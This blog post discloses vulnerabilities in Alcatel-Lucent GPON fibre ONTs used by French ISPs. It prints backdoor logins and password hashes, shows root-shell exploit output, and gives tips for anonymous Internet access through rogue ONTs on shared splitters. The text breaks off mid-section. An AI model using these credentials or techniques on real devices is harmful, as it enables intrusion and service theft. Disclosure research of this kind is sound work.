https://pierrekim.github.io/blog/2016-11-01-gpon-ftth-networks-insecurity.html#introduction
IT Security Research by Pierre
Home * About * Feed
GPON FTTH networks (in)security
Table of contents
1. Introduction
2. Explanation of GPON networks
2.1. GPON Network
2.2. ONT/ONU used in this research
2.3. ONT Authentication
3. Studying the ONTs
4. Internet Authentication
4.1. SFR
4.2. Orange
4.3. Bouygues FTTH
5. Security Threat against the GPON FTTH model
6. Physical Security
7. Powning the ONT
7.1. Remote Code execution
7.2. Analysing the ONT
7.3. Backdoor credentials in /etc/passwd*
7.4. Backdoor accounts in the HTTP configuration files
7.5. Bad UNIX RIGHTS and UID/GID everywhere
7.6. Same SSH keys used in all the firmware
7.7. Reverse-engineering - introducing Alcatel binaries
7.8. Reverse-engineering - Strange binary
8. Bruteforce
9. Conclusion
10. Report Timeline
11. Credits and Greetings
12. License
1. Introduction
GPON FTTH network is the future: GPON FTTH (Fiber To The Home) is
very popular because it is cheap and allows people to download legal
Video On Demand damn fast. Everybody wants GPON FTTH at home, you,
me, my dog and my neighbors. In fact, you are sharing 2.5gbps of
downstream with others clients (but it is still fast).
This article will present FTTH GPON (in)security, based on attacks
against IoT. It's mainly written against GPON networks in France and
will focus on Alcatel Lucent GPON networks (Orange, Bouygues and
SFR). Free FTTH network (point to point network) is out of scope in
this research.
This is the first public article about (in)security of FTTH GPON
networks. It will contain RCE against ONT/ONU (the device located in
your house which is connected to the fiber optic) and tips how to
potentially get an anonymous 1gbps Internet connection in France. The
legal implication of this research is interesting: When FTTH
connections are involved, the IP used as evidence may not be
identifiable any more thus questions its legitimate value.
Telecom Italia did a great presentation about theoretical GPON
security in 2009, but there are not a lot of documentations about the
security of GPON FTTH networks apart from this presentation. Please
note there may have some facts that still need to be clarified in
this research (but all the major facts were confirmed by a major
French ISP).
This research was mainly done in 2013-2014 but was kept private. It
was done for educational purpose in order to understand how GPON FTTH
works.
Legal Note: these tests were done using my FTTH connections at home.
Yes, you can have up to 4 FTTH connections working at the same time
with same or different ISPs in France. Orange was contacted 6 months
ago (May 11, 2016) about these vulnerabilities.
You can find FTTH GPON networks in other countries too, e.g. South
Korea.
2. Explanation of GPON networks
A GPON network is a passive optical network featuring
one-to-multipoint architecture.
It consists of Optical Line Terminal (OLT), Passive Optical Splitter
and Optical Network Unit (Optical Network Transceiver, ONU/ONT). The
fiber optic strands are shared among multiple clients: splitters are
used to separate and aggregate the optical signal.
* GPON is the acronym for Gigabit-capable Passive Optical Networks
* OLT is the acronym for Optical Line Terminal.
* ONU is the acronym for Optical Network Unit. - multiple clients
* ONT is the acronym for Optical Network Transceiver or Optical
Network Terminal - single clients
* SLID is the acronym for Subscriber Line IDentifier.
* POS is the acronym for Passive Optical Splitter.
A GPON network allows multiple ISP. In France, Orange, SFR and
Bouygues Telecom are using the same GPON FTTH networks.
2.1. GPON Network
[2016-ftth-]
-- https://commons.wikimedia.org/wiki/File:PON_vs_AON.png
The ONU is hosted at home, and it encodes and receives the signal for
the fiber. It's basically a blackbox. We can name the ONU an ONT
(Optical Network Transceiver) because it translates the signals
present in the fiber (light) into electrical signals (RJ45), and vice
versa.
From a Huawei presentation: [2016-ftth-]
They are connected in the underground to a large passive splitter.
This splitter doesn't have physical security protection (we will
speak about this point later).
[2016-ftth-]
-- Photo from http://www.degroupnews.com/dossier/
sfr-pose-la-fibre-optique-dans-un-appartement
Transmission of data:
According to the specification, transmitting upstream is in
cleartext.
The downstream can be optionally encrypted using AES-128. It depends
on the ISP.
From a Huawei presentation: [2016-ftth-]
2.2. ONT/ONU used in this research
[2016-ftth-]
From left to right:
* ONT currently provided by SFR France: Alcatel I-020G-F.
* Second ONT provided by Orange France since 2014: Alcatel
I-010G-A.
* First ONT provided by Orange France in 2013: Alcatel I-010G-A.
[2016-ftth-]
From left to right:
* Back of the first ONT provided by Orange France in 2013.
* Back of the second ONT provided by Orange France since 2014.
* Back of the ONT currently provided by SFR France.
The fiber is linked to a remote OLT managed by the ISP, as shown in
the network diagram. The RJ45 port is normally linked to a
proprietary triple-play box (or a linux/*BSD router).
The ONT provided by SFR has 2 gigabit RJ45 connectors. Only the port
1 seems to be usable.
The 3 ONT are Alcatel-Lucent products. They seem to share the same
vulnerabilities.
2.3. ONT Authentication
G.984.3 defines two authentication mechanisms:
* pre-provision of the ONU/ONT to an OLT, using a shared SLID
(Subscriber Line IDentifier)
* the SLID is unknown and the OLT activates the ONT/ONU on the fly.
There is no verification of the remote OLT, so authentication with a
rogue remote OLT is possible, allowing wiretapping. This is another
subject.
The SLID can be in different modes:
* PERMANENT
* VOLATILE
* REGISTRATION
The SLID can be saved in two formats: hexadecimal or alphanumeric.
From my research, the SLID for a SFR connection is VOLATILE and is
not set to a fixed value: the OLT activates the ONT on the fly.
The SLID for an Orange connection is PERMANENT and is a shared secret
between the ONU/ONT and the OLT. The SLID is entered into the ONT by
a technician when he comes to your home to install the fiber. The
authentication is based on this value. Changing the SLID to an
incorrect value will interrupt the connection of the ONT to the
remote OLT, which means NO INTERNET.
The SLIDs that were linked to my Orange FTTH accounts were
(obfuscated, with 0 for numbers and X for letters):
* 0W1JXXXX <- it looked like a random string (alphanumeric)
* 0562100000 <- it looked like a French phone number
3. Studying the ONTs
ONT is our heaven's gate. Controlling ONT will give us a lot of
possibilities.
You need to be on the same subnet to access to ONT:
user@kali:~$ sudo ifconfig eth0 192.168.4.1 netmask 255.255.255.0
Nmap against the device:
user@kali:~$ sudo nmap -sS -sV -v -O -n 192.168.4.254
Starting Nmap 4.37 ( http://nmap.org ) at 2014-02-03 12:54 EDT
NSE: Loaded 29 scripts for scanning.
Initiating ARP Ping Scan at 12:54
Scanning 192.168.4.254 [1 port]
Completed ARP Ping Scan at 12:54, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:54
Scanning 192.168.4.254 [1000 ports]
Discovered open port 23/tcp on 192.168.4.254
Discovered open port 22/tcp on 192.168.4.254
Discovered open port 80/tcp on 192.168.4.254
[...]
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
23/tcp open telnet Linux telnetd
80/tcp open http BusyBox httpd
MAC Address: AC:9C:E4:AA:AA:AA (Alcatel-Lucent Shanghai Bell Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.47%E=4%D=6/30%OT=22%CT=1%CU=36398%PV=Y%DS=1%DC=D%G=Y%M=AC9CE4%T
OS:M=5592C9CF%P=x86_64-unknown-linux-gnu)SEQ(SP=CE%GCD=1%ISR=D0%TI=Z%CI=Z%I
OS:I=I%TS=8)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW
OS:0%O5=M5B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0
OS:%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%
OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B
OS:4ST11NW0%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 0.001 days (since Tue Feb 03 12:52:52 2014)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=206 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; Device: media device; CPE: cpe:/o:linux:linux_kernel
The daemon on port 22 doesn't want to speak to my telnet client :(
user@kali:~$ telnet 192.168.4.254 22
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.
PATATE
Connection closed by foreign host.
user@kali:~$
From my research, an ONT has two remote panels:
* a HTTP webpage (http://192.168.4.254/)
* a telnet account (telnet://192.168.4.254)
There is a documented backdoor account in the busybox mailing list
(2009, http://lists.busybox.net/pipermail/busybox/2009-July/
070031.html written by an Alcatel employee). This is a limited
account, allowing only to change small things in the device:
login: CRAFTSPERSON (was "CRAFT" at first, from the mailing list post)
password: ALC#FGU
This is the account used by technicians to configure the ONT during
the FTTH installation and is widely known.
The backdoor account can be found too using the NeufBox configuration
API
user@kali:~$ wget 'http://ncdn.nb4dsl.neufbox.neuf.fr/nb6_Version%203.3.9/NB6-CONFIG-R3.3.9.2'
This file contains the credentials for the ONT:
on
ondemand
192.168.4.254
admin4me
connect4you@support
1111111111
CRAFTSPERSON
ALC#FGU
DEFAULT
600
300
off
Administration webpage (in Flash) using the credentials:
[2016-ftth-]
Login to the first Orange ONT using the backdoor account will provide
a restricted shell.
user@kali:~$ telnet 192.168.2.254
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.
MontaVista(R) Linux(R) Professional Edition 3.1
Linux/ppc 2.4.20_mvl31-gponsoc
(none) login: CRAFTSPERSON
Password:
MontaVista(R) Linux(R) Professional Edition 3.1
===============================================================
Craft user Login
===============================================================
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 4
The SLID in ALPHANUMERIC MODE (Volatile) : DEFAULT
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 6
Ranging State = Initial State (Auto-Disable State = Normal State)
press enter key to continue...
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 7
ponOpticalSignalLevel = -50.00 dBm
press enter key to continue...
Main Menu
===============
1. Enter SLID in volatile mode
2. Enter SLID in permanent mode (non-volatile)
3. Enter SLID in registration mode (non-volatile)
4. Retrieve SLID
5. Clear SLID
6. Retrieve ranging state
7. Retrieve optical level
8. More options
9. Logout
Enter choice : 8
Additional menu items are not available, press enter key to continue...
This account can only configure options relative to the SLID and can
show the SLID and the fiber optical signal level.
4. Internet Authentication
When you connect the fiber to the ONT, then the ONT to the
proprietary box (router), you need to understand how the proprietary
box gets an Internet connection:
(Internet) ---Fiber--- [ONT] ---RJ45--- [Router provided by the ISP]
| |
RJ45 Wifi
| |
[Computer 1] [Computer 2]
By using a Linux/BSD computer instead of the provided router:
(Internet) ---Fiber--- [ONT] ---RJ45--- [Linux Computer]
4.1. SFR
When using SFR, there is no Internet Authentication.
Assuming you are sending the correct vendor string in the DHCP
request:
send dhcp-class-identifier "neufbox5_NB5-SER-r1_ND5-MAIN-R2.2.2";
Typing dhclient eth0 in your Linux laptop, connected to the ONT, will
give you a public IP on your eth0 interface.
4.2. Orange
When using Orange, the situation is MUCH more complicated. There is a
complicated authentication for accounting.
You have to do PPPoE authentication over VLAN835. In my view, PPPoE
is used because of legacy reason (compatibility with RTC and ADSL
authentication servers). 835 seems to be a tribute to the 8/35 VCI/
VPI (Virtual Path Identifier, Virtual Circuit Identifier) used in
ADSL connection with ATM encapsulation. Others VLANs are used (for
voice and for TVs but it's out of scope).
An OpenBSD configuration is:
# cat /etc/hostname.if0
up
# cat /etc/hostname.vlan835
vlan 835 vlandev if0 up
# cat /etc/hostname.pppoe0
inet 0.0.0.0 255.255.255.255 NONE \
ppppoedev vlan835 authproto chap \
authname 'fti/XXXXXXX' authkey 'XXXXXXX'
up
dest 0.0.0.1
!/sbin/route add default ifp pppoe0 0.0.0.1
#
A Linux configuration is more complex (from https://
benjamin.sonntag.fr/spip.php?page=forum&id_article=43&id_forum=60&
lang=fr):
$ cat /etc/network/interfaces
auto eth0 eth0.835 ppp0
iface eth0 inet manual
iface eth0.835 inet manual
iface ppp0 inet ppp
provider ft_fibre
$ cat/etc/ppp/peers/ft_fibre
pty "/usr/sbin/pppoe -I eth0.835 -T 80 -m 1452"
noipdefault
hide-password
lcp-echo-interval 20
lcp-echo-failure 3
connect /bin/true
noauth
persist
mtu 1492
usepeerdns
defaultroute
noaccomp
default-asyncmap
plugin rp-pppoe.so eth0.835
user "fti/XXXXXXX"
$ cat /etc/ppp/chap-secrets:
"fti/XXXXXXX" * "XXXXXXX"
Note that when you are using an Orange connection, you are directly
authenticated on the orange website (www.orange.fr), based on your
IP. You can manage the connection, read the emails, evil stuff ...
From my research, you need valid PPPoE FTTH credentials. ADSL and RTC
credentials don't work.
Breaking news: it appears Orange is starting to replace PPPoE
authentication with DHCP (without authentication) since november
2015. This needs to be confirmed but several sources use DHCP to get
a working IPv4.
4.3. Bouygues FTTH
When using Bouygues, there is no Internet Authentication.
Bouygues uses DHCP over VLAN200.
Assuming you are sending the correct vendor string in the DHCP
request with the MAC address of the provided router:
send vendor-class-identifier "byteliad_data";
Typing dhclient eth0.200 in your Linux laptop, connected to the ONT,
will give you a public IP on your eth0.200 interface.
5. Security Threat against the GPON FTTH model
From telecomitalia_delutiis_nextgenerationaccessnetwork(in)
security.pdf:
The security mechanisms already defined are based on the assumption
that all the GPON elements will be strongly physically protected.
GPON communication are vulnerable to severe security issues, such as:
Fake/Forged OLT: currently no OLT identification and
authentication mechanisms have been specified
Man In The Middle (MITM) attacks
Passive attacks: password and keys sent as cleartext
Active attack: sensitive PLOAM messages are not authenticated (e.g. PASSWORD, encryption KEY)
Several kinds of DOS (Denial of Service) at GPON level e.g.
during the activation phases.
-- telecomitalia_delutiis_nextgenerationaccessnetwork(in)
security.pdf
6. Physical Security
From what we know now, an attacker can easily go in the basement of
buildings and connect rogue ONTs to the splitter by disconnecting
legitimate clients. It appears all the GPON elements are not strongly
physically protected and having access to elements is trivial.
Photos from http://www.degroupnews.com/dossier/
sfr-pose-la-fibre-optique-dans-un-appartement:
[2016-ftth-]
[2016-ftth-]
If they are SFR clients, just connecting an ONT configured in a
VOLATILE mode will give, in theory, an attacker an anonymous high
speed (1gpbs) Internet Access with a public IP address.
If they are Bouygues clients, just connecting an ONT configured in a
VOLATILE mode will give, in theory, an attacker an anonymous high
speed (1gpbs) Internet Access with a public IP address.
If they are Orange clients, an attacker needs to have a valid SLID
and valid FTTH credentials to get an Internet connection: this sucks
for the attacker but there are solutions (hint: SLID bruteforce).
Note that, apparently, Orange is starting to accept DHCP instead of
PPP authentication.
7. Powning the ONT
As we've already see, the ONT/ONU are Linux/ppc 2.4.20_mvl31-gponsoc
clients devices.
Note that Bouygues seems to use another model of ONT.
7.1. Remote Code execution
We are lucky to see there is a trivial RCE in the CGIs available and
2 valid 0day exploits were written for the noble cause.
We test them live:
user@kali:~$ ./hacktheplanet.sh
Adding an user ONT / ALC#FGU
Launching telnet client
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.
MontaVista(R) Linux(R) Professional Edition 3.1
Linux/ppc 2.4.20_mvl31-gponsoc
(none) login: ONT
Password: ALC#FGU
MontaVista(R) Linux(R) Professional Edition 3.1
BusyBox v1.4.2 (2010-11-10 23:30:26 EST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
$ id
uid=100(CRAFTSPERSON) gid=100(users)
$ ls -latrR /
Segmentation fault
$ echo wow
wow
$ ps -auxww
PID Uid VmSize Stat Command
1 root 564 S init [3]
2 root SW [keventd]
3 root SWN [ksoftirqd_CPU0]
4 root SW [kswapd]
5 root SW [bdflush]
6 root SW [kupdated]
7 root SW [mtdblockd]
109 root 644 S /usr/sbin/inetd
126 root SWN [jffs2_gcd_mtd3]
138 root 1600 S /usr/sbin/sshd
417 root 1212 S /usr/alcatel/bin/dbg_logger
418 root 1212 S /usr/alcatel/bin/dbg_logger
420 root 1212 S /usr/alcatel/bin/dbg_logger
431 root 1244 S N /usr/alcatel/bin/bkgndprocess
439 root 1124 S /usr/alcatel/bin/ontah
450 root 1256 S /usr/alcatel/bin/parser
462 root 1616 S /usr/alcatel/bin/omciMgr
473 root 1400 S /usr/alcatel/bin/gponMac
516 root 672 S /usr/bin/httpd -h /usr/alcatel/web
531 root 1648 S /var/temp/tagging
546 root 1348 S /usr/alcatel/bin/IGMP
554 root 1268 S /usr/alcatel/bin/ethOAM
563 root 1180 S N /usr/alcatel/bin/rateShaping
572 root 1144 S N /usr/alcatel/bin/IBcast
589 root 1256 S N /usr/alcatel/bin/EFMOAM
602 root 1256 S N /usr/alcatel/bin/EFMOAM
603 root 1256 S N /usr/alcatel/bin/EFMOAM
604 root 1256 S N /usr/alcatel/bin/EFMOAM
605 root 1176 S /usr/alcatel/bin/eqpt
613 root 1648 S /var/temp/tagging
614 root 1648 S /var/temp/tagging
615 root 1648 S /var/temp/tagging
616 root 1256 S /usr/alcatel/bin/parser
617 root 1256 S /usr/alcatel/bin/parser
618 root 1348 S /usr/alcatel/bin/IGMP
619 root 1348 S /usr/alcatel/bin/IGMP
620 root 1268 S /usr/alcatel/bin/ethOAM
621 root 1268 S /usr/alcatel/bin/ethOAM
622 root 1268 S /usr/alcatel/bin/ethOAM
627 root 1180 S N /usr/alcatel/bin/rateShaping
628 root 1180 S N /usr/alcatel/bin/rateShaping
629 root 1144 S N /usr/alcatel/bin/IBcast
630 root 1144 S N /usr/alcatel/bin/IBcast
646 root 524 S /sbin/getty -L tts/1 9600 115200 vt100
908 root 652 S inetd
1155 root 832 S in.telnetd: 192.168.4.251
1156 CRAFTSPERSO 848 S -sh
1520 CRAFTSPERSO 648 R ps -auxww
$
Nice but I prefer a root shell:
user@kali:~$ ./hackthemoon.sh
to the moon ...
done
id
uid=0(root) gid=0(root)
echo much access very root !
much access very root !
ls -la
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 .
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 ..
drwxrwxrwx 2 4223 619 1024 Nov 18 2010 bin
drwxr-xr-x 1 root root 0 Jan 1 1970 dev
drwxrwxrwx 11 4223 619 1024 Dec 31 23:59 etc
drwxrwxrwx 4 51454 619 1024 Nov 11 2005 home
drwxrwxrwx 4 4223 619 2048 Aug 2 2005 lib
drwx------ 2 root root 12288 Jun 29 2013 lost+found
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 mnt
dr-xr-xr-x 64 root root 0 Jan 1 1970 proc
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 root
drwxrwxrwx 2 4223 619 1024 Aug 2 2005 sbin
drwxrwxrwx 2 51454 619 1024 Jan 1 00:00 tmp
drwxrwxrwx 11 4223 619 1024 Aug 2 2005 usr
drwxrwxrwt 5 root root 100 Jan 1 2006 var
echo nice unix rights !!
nice unix rights !!
You can fetch hacktheplanet.sh.
You can fetch hackthemoon.sh.
A proofreader noted that it would be easier to create an exploit
which adds an user with UID 3079 and GID 619. He is right.
7.2. Analysing the ONT
Memory/CPU:
$ cat /proc/meminfo
total: used: free: shared: buffers: cached:
Mem: 62537728 55193600 7344128 0 663552 31174656
Swap: 0 0 0
MemTotal: 61072 kB
[...]
$ cat /proc/cpuinfo
cpu : e300c2 (83xx)
revision : 0.32 (pvr 8084 0020)
bogomips : 188.00
Vendor : Freescale Inc.
Machine : msc7120
core clock : 282 MHz
bus clock : 141 MHz
PVR : 0x80840020
SVR : 0x80400010
SPRIDR : 0x80400021
PLL setting : 0x8
Memory : 64 MB
$ uname -ap
Linux (none) 2.4.20_mvl31-gponsoc #1 Wed Jul 31 09:26:02 EDT 2013 ppc unknown
$
7.3. Backdoor credentials in /etc/passwd*
The /etc/passwd* files contain backdoor credentials to login to the
remote ONT:
user@kali:~$ cat passwd
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:$2$367ffe585fc3070eabc901c03cd561d062ce1b67:100:100::/tmp:/usr/alcatel/bin/craftsh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:$2$6003c3d66874a4fd38aecb0b09db563e85a62ad6:0:0::/tmp:/bin/sh
It appears that ONTUSER is a backdoor root account.
Other files exist in /etc - passwd.ENABLE:
user@kali:~$ cat passwd.ENABLE
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:o4ePHnSAbwl3o:100:100::/tmp:/bin/sh
ICONFIG:9E/ixZ86A5mTQ:0:0:Alcatel User,,,:/tmp:/bin/sh
restricted:W6wa7UoRwHH7k:0:0::/tmp:/bin/mysh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:ViUjCv6nSZ38U:0:0::/tmp:/bin/sh
Other backdoor accounts but not used (ICONFIG, restricted -- with
root privileges).
The passwd.DISABLE file contains credentials too:
user@kali:~$ cat passwd.DISABLE
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:o4ePHnSAbwl3o:100:100::/tmp:/bin/sh
ICONFIG:9E/ixZ86A5mTQ:0:0:Alcatel User,,,:/tmp:/bin/sh
restricted:W6wa7UoRwHH7k:0:0::/tmp:/bin/mysh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:megWL9CFKXbmA:0:0::/tmp:/bin/sh
Other interesting users (with root privileges) with hashes: ICONFIG,
restricted, ONTUSER.
John will reveal password, like:
restricted:iitywimw:0:0::/tmp:/bin/mysh
7.4. Backdoor accounts in the HTTP configuration files
The /usr/alcatel/web/httpd.conf file contains credentials:
user@kali:~$ ./usr/alcatel/web/httpd.conf
/:ONTUSER:$1$$j5N8wFCZNAAGhA8WA2tgJ.
/:CRAFTSPERSON:$1$$UjLhdhvWxqvlRh9TGNIv7/
And the /etc/httpd.conf contains credentials too:
user@kali:~$ cat ./etc/httpd.conf
A:192.168.4.
D:*
/:CRAFTSPERSON:$1$$UjLhdhvWxqvlRh9TGNIv7/
7.5. Bad UNIX RIGHTS and UID/GID everywhere
# ls -la /
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 .
drwxr-xr-x 15 3079 619 1024 Jun 29 2013 ..
drwxrwxrwx 2 4223 619 1024 Nov 18 2010 bin
drwxr-xr-x 1 root root 0 Jan 1 1970 dev
drwxrwxrwx 11 4223 619 1024 Dec 31 23:59 etc
drwxrwxrwx 4 51454 619 1024 Nov 11 2005 home
drwxrwxrwx 4 4223 619 2048 Aug 2 2005 lib
drwx------ 2 root root 12288 Jun 29 2013 lost+found
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 mnt
dr-xr-xr-x 64 root root 0 Jan 1 1970 proc
drwxrwxrwx 2 51454 619 1024 Aug 2 2005 root
drwxrwxrwx 2 4223 619 1024 Aug 2 2005 sbin
drwxrwxrwx 2 51454 619 1024 Jan 1 00:00 tmp
drwxrwxrwx 11 4223 619 1024 Aug 2 2005 usr
drwxrwxrwt 5 root root 100 Jan 1 2006 var
#
NO COMMENT
7.6. Same SSH keys used in all the firmware
The SSH keys are common to the 3 ONTs. They are not generated locally
but are stored in all the ONTs:
118cf5bad0322ed1215367679860a1ab alcatel.orange.v1/etc/ssh/ssh_host_dsa_key
118cf5bad0322ed1215367679860a1ab alcatel.sfr.v1/etc/ssh/ssh_host_dsa_key
118cf5bad0322ed1215367679860a1ab alcatel.orange.v2/etc/ssh/ssh_host_dsa_key
1f2dc282fff78f4682fafb166bfe7512 alcatel.orange.v1/etc/ssh/ssh_host_rsa_key.pub
1f2dc282fff78f4682fafb166bfe7512 alcatel.sfr.v1/etc/ssh/ssh_host_rsa_key.pub
1f2dc282fff78f4682fafb166bfe7512 alcatel.orange.v2/etc/ssh/ssh_host_rsa_key.pub
4386f5d936f01219075999d98e5758f9 alcatel.orange.v1/etc/ssh/ssh_host_rsa_key
4386f5d936f01219075999d98e5758f9 alcatel.sfr.v1/etc/ssh/ssh_host_rsa_key
4386f5d936f01219075999d98e5758f9 alcatel.orange.v2/etc/ssh/ssh_host_rsa_key
5c3e0520cd2c0b385016bf0909280e3d alcatel.orange.v1/etc/ssh/ssh_host_key.pub
5c3e0520cd2c0b385016bf0909280e3d alcatel.sfr.v1/etc/ssh/ssh_host_key.pub
5c3e0520cd2c0b385016bf0909280e3d alcatel.orange.v2/etc/ssh/ssh_host_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9 alcatel.orange.v1/etc/ssh/ssh_host_dsa_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9 alcatel.sfrv1.sfr/etc/ssh/ssh_host_dsa_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9 alcatel.orange.v2/etc/ssh/ssh_host_dsa_key.pub
da1e8ba42dfb2e1dfd105f8cc7a61cbb alcatel.orange.v1/etc/ssh/ssh_host_key
da1e8ba42dfb2e1dfd105f8cc7a61cbb alcatel.sfr.v1/etc/ssh/ssh_host_key
da1e8ba42dfb2e1dfd105f8cc7a61cbb alcatel.orange.v2/etc/ssh/ssh_host_key
7.7. Reverse-engineering - introducing Alcatel binaries
The Alcatel binaries are useful to control the FTTH connection :)
/usr/alcatel/help/* contains all the help files:
help
help/CommEqptMgmt
help/CommEqptMgmt/eqpt-dbg.help
help/bkgnd
help/bkgnd/bkgnd-dbg.help
help/parser
help/parser/pars-dbg.help
help/gponMac
help/gponMac/send.help
help/dbg
help/dbg/dbg.help
help/sniffer
help/sniffer/send.help
IE:
user@kali:~$ cat help/gponMac/send.help
A command string is sent to the gponMac process. The gponMac process
handles the command string and takes the appropriate action.
USAGE:
In order to send a command to the gponMac process, the following needs
to be done.
1. The gponMac process must be running.
2. The send command must be in the path.
3. The 'send gpon ' command is then executed to send
to the gponMac process.
Valid commands are:
rw ww laser pm
rs dump ri slid
max1932 alarms ethhdr(*1) interrupts
sim deviceid ranginginfo dsphy
dstc usbwc usgem ustc
usphy fpga(*2) video(*3) help
*1 - Only available on Currituck based boards.
*2 - Only available on FPGA based boards.
*3 - Only available on boards with video.
Examples:
To get more detailed information on a specific command, use:
'send gpon help '
To get more detailed help information on all commands, use:
'send gpon help all'
To retrieve the current ranging state, the rs command, use:
'send gpon rs'
It appears the gponMac program is a big mess without security by
design.
Having fun with Alcatel daemons:
$ send help
send sniffer - send to the sniffer process
send gpon - send to the gponMac process
send test - perform the specified test cmd
setpowerdown - send powerdown message to gponMac process
GPON MAC API test cmds:
getconfinfo
confgemport
delgemport
getgemportconf
confgemportweight
confallocgemassoc
getallocidconf
addmcastentry ||
delmcastentry
confmcastfilter
getmcastfilterconf
wipemcastconf
confslid (test slid only)
getslidconf
wipeallconf
setlasermode
setvideomode
setopticalattr ||
getopticalattr
lockgmacpm
unlockgmacpm
printpm
resetgmacpm
Parameters:
allocId - 0-4095
portId - 0-4095
enable - 0(disable) 1(enable)
dir - 0(upstream) 1(downstream) 2(bi-dir)
pbits - 0-7
weight - 0-255
vid - VLAN ID
omci, 0vlan, keeptag, cpvid, wait - 0(no) 1(yes)
dest - 0(GMII0) 1(GMII1) 2(loopback) 3(drop to processor)
mac - 0xXXXXXX
If you want to debug GPON, use these commands:
empty -s -o /tmp/fifo.in "show gpon type\nshow gpon slid\nshow gpon sn\nshow firmware version\nshow gpon RSSI\n"
empty -s -o /tmp/fifo.in "show led\nshow uptime\nshow download status\nshow gpon ranging state\nshow gpon status\n"
nvram get ont_slid
Possible arguments for send:
show gpon type
show gpon slid
